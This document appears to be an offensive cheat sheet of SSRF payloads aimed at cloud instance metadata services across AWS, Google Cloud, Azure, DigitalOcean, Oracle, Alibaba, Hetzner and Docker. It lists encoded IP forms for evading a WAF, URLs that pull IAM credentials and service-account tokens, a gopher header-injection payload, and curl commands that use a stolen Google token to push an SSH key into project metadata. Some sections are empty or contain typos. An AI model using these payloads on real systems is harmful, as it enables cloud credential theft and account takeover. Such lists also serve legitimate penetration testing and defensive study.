SSRF URL for Cloud Instances
When exploiting Server-Side Request Forgery (SSRF) in cloud environments, attackers often target metadata endpoints to retrieve sensitive instance information (e.g., credentials, configurations). Below is a categorized list of common URLs for various cloud and infrastructure providers
Summary
- SSRF URL for AWS Bucket
- SSRF URL for AWS ECS
- SSRF URL for AWS Elastic Beanstalk
- SSRF URL for AWS Lambda
- SSRF URL for Google Cloud
- SSRF URL for Digital Ocean
- SSRF URL for Packetcloud
- SSRF URL for Azure
- SSRF URL for OpenStack/RackSpace
- SSRF URL for HP Helion
- SSRF URL for Oracle Cloud
- SSRF URL for Kubernetes ETCD
- SSRF URL for Alibaba
- SSRF URL for Hetzner Cloud
- SSRF URL for Docker
- SSRF URL for Rancher
- References
SSRF URL for AWS
The AWS Instance Metadata Service is a service available within Amazon EC2 instances that allows those instances to access metadata about themselves. - Docs
- IPv4 endpoint (old):
http://169.254.169.254/latest/meta-data/ -
IPv4 endpoint (new) requires the header
X-aws-ec2-metadata-token -
IPv6 endpoint:
http://[fd00:ec2::254]/latest/meta-data/
In case of a WAF, you might want to try different ways to connect to the API.
-
DNS record pointing to the AWS API IP
-
HTTP redirect
-
Encoding the IP to bypass WAF
http://425.510.425.510 Dotted decimal with overflow http://2852039166 Dotless decimal http://7147006462 Dotless decimal with overflow http://0xA9.0xFE.0xA9.0xFE Dotted hexadecimal http://0xA9FEA9FE Dotless hexadecimal http://0x41414141A9FEA9FE Dotless hexadecimal with overflow http://0251.0376.0251.0376 Dotted octal http://0251.00376.000251.0000376 Dotted octal with padding http://0251.254.169.254 Mixed encoding (dotted octal + dotted decimal) http://[::ffff:a9fe:a9fe] IPV6 Compressed http://[0:0:0:0:0:ffff:a9fe:a9fe] IPV6 Expanded http://[0:0:0:0:0:ffff:169.254.169.254] IPV6/IPV4 http://[fd00:ec2::254] IPV6
These URLs return a list of IAM roles associated with the instance. You can then append the role name to this URL to retrieve the security credentials for the role.
http://169.254.169.254/latest/meta-data/iam/security-credentials
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]
This URL is used to access the user data that was specified when launching the instance. User data is often used to pass startup scripts or other configuration information into the instance.
Other URLs to query to access various pieces of metadata about the instance, like the hostname, public IPv4 address, and other properties.
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/ami-id
http://169.254.169.254/latest/meta-data/reservation-id
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/public-keys/
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
http://169.254.169.254/latest/meta-data/public-keys/[ID]/openssh-key
http://169.254.169.254/latest/dynamic/instance-identity/document
Examples:
- Jira SSRF leading to AWS info disclosure -
https://help.redacted.com/plugins/servlet/oauth/users/icon-uri?consumerUri=http://169.254.169.254/metadata/v1/maintenance - *Flaws challenge -
http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws/
SSRF URL for AWS ECS
If you have an SSRF with file system access on an ECS instance, try extracting /proc/self/environ to get UUID.
This way you'll extract IAM keys of the attached role
SSRF URL for AWS Elastic Beanstalk
We retrieve the accountId and region from the API.
http://169.254.169.254/latest/dynamic/instance-identity/document
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
We then retrieve the AccessKeyId, SecretAccessKey, and Token from the API.
Then we use the credentials with aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/.
SSRF URL for AWS Lambda
AWS Lambda provides an HTTP API for custom runtimes to receive invocation events from Lambda and send response data back within the Lambda execution environment.
http://localhost:9001/2018-06-01/runtime/invocation/next
http://${AWS_LAMBDA_RUNTIME_API}/2018-06-01/runtime/invocation/next
Docs: https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html#runtimes-api-next
SSRF URL for Google Cloud
Google is shutting down support for usage of the v1 metadata service on January 15.
Requires the header "Metadata-Flavor: Google" or "X-Google-Metadata-Request: True"
http://169.254.169.254/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/
http://metadata/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/hostname
http://metadata.google.internal/computeMetadata/v1/instance/id
http://metadata.google.internal/computeMetadata/v1/project/project-id
Google allows recursive pulls
Beta does NOT require a header atm (thanks Mathias Karlsson @avlidienbrunn)
http://metadata.google.internal/computeMetadata/v1beta1/
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
Required headers can be set using a gopher SSRF with the following technique
gopher://metadata.google.internal:80/xGET%20/computeMetadata/v1/instance/attributes/ssh-keys%20HTTP%2f%31%2e%31%0AHost:%20metadata.google.internal%0AAccept:%20%2a%2f%2a%0aMetadata-Flavor:%20Google%0d%0a
Interesting files to pull out:
- SSH Public Key :
http://metadata.google.internal/computeMetadata/v1beta1/project/attributes/ssh-keys?alt=json - Get Access Token :
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token - Kubernetes Key :
http://metadata.google.internal/computeMetadata/v1beta1/instance/attributes/kube-env?alt=json
Add an SSH key
Extract the token
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json
Check the scope of the token
$ curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA
{
"issued_to": "101302079XXXXX",
"audience": "10130207XXXXX",
"scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring",
"expires_in": 2443,
"access_type": "offline"
}
Now push the SSH key.
curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata"
-H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA"
-H "Content-Type: application/json"
--data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}'
SSRF URL for Digital Ocean
Documentation available at https://developers.digitalocean.com/documentation/metadata/
curl http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1.json
http://169.254.169.254/metadata/v1/
http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1/user-data
http://169.254.169.254/metadata/v1/hostname
http://169.254.169.254/metadata/v1/region
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/address
All in one request:
curl http://169.254.169.254/metadata/v1.json | jq
SSRF URL for Packetcloud
Documentation available at https://metadata.packet.net/userdata
SSRF URL for Azure
Limited, maybe more exists? https://azure.microsoft.com/en-us/blog/what-just-happened-to-my-vm-in-vm-metadata-service/
Update Apr 2017, Azure has more support; requires the header "Metadata: true" https://docs.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service
http://169.254.169.254/metadata/instance?api-version=2017-04-02
http://169.254.169.254/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text
SSRF URL for OpenStack/RackSpace
(header required? unknown)
SSRF URL for HP Helion
(header required? unknown)
SSRF URL for Oracle Cloud
http://192.0.0.192/latest/
http://192.0.0.192/latest/user-data/
http://192.0.0.192/latest/meta-data/
http://192.0.0.192/latest/attributes/
SSRF URL for Alibaba
http://100.100.100.200/latest/meta-data/
http://100.100.100.200/latest/meta-data/instance-id
http://100.100.100.200/latest/meta-data/image-id
SSRF URL for Hetzner Cloud
http://169.254.169.254/hetzner/v1/metadata
http://169.254.169.254/hetzner/v1/metadata/hostname
http://169.254.169.254/hetzner/v1/metadata/instance-id
http://169.254.169.254/hetzner/v1/metadata/public-ipv4
http://169.254.169.254/hetzner/v1/metadata/private-networks
http://169.254.169.254/hetzner/v1/metadata/availability-zone
http://169.254.169.254/hetzner/v1/metadata/region
SSRF URL for Kubernetes ETCD
Can contain API keys and internal ip and ports
SSRF URL for Docker
http://127.0.0.1:2375/v1.24/containers/json
Simple example
docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash
bash-4.4# curl --unix-socket /var/run/docker.sock http://foo/containers/json
bash-4.4# curl --unix-socket /var/run/docker.sock http://foo/images/json
More info:
- Daemon socket option: https://docs.docker.com/engine/reference/commandline/dockerd/#daemon-socket-option
- Docker Engine API: https://docs.docker.com/engine/api/latest/
SSRF URL for Rancher
More info: https://rancher.com/docs/rancher/v1.6/en/rancher-services/metadata-service/